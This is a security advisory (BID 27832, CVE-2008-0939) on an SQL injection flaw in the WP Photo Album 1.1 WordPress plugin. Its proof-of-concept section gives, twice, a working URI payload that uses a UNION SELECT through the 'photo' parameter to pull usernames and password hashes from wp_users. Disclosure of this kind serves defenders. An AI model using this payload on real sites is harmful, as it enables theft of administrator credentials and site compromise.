WP Photo Album 'photo' Parameter SQL Injection Vulnerability
BID:27832
Info
WP Photo Album 'photo' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27832 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0939 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 16 2008 12:00AM |
| Updated: | May 07 2015 05:32PM |
| Credit: | S@BUN discovered this vulnerability. |
| Vulnerable: |
Rubin J. Kaplan WP Photo Album 1.1 |
| Not Vulnerable: | |
Discussion
WP Photo Album 'photo' Parameter SQL Injection Vulnerability
WP Photo Album is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects WP Photo Album 1.1; other versions may also be vulnerable.
WP Photo Album is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects WP Photo Album 1.1; other versions may also be vulnerable.
Exploit / POC
WP Photo Album 'photo' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following proof-of-concept URI is available:
http://www.example.com/?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201
An attacker can exploit this issue via a browser.
The following proof-of-concept URI is available:
http://www.example.com/?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201
Solution / Fix
WP Photo Album 'photo' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WP Photo Album 'photo' Parameter SQL Injection Vulnerability
References:
References:
- WP Photo Album Homepage (Rubin J. Kaplan)
- WordPress album PHOTO SQL Injection ([email protected])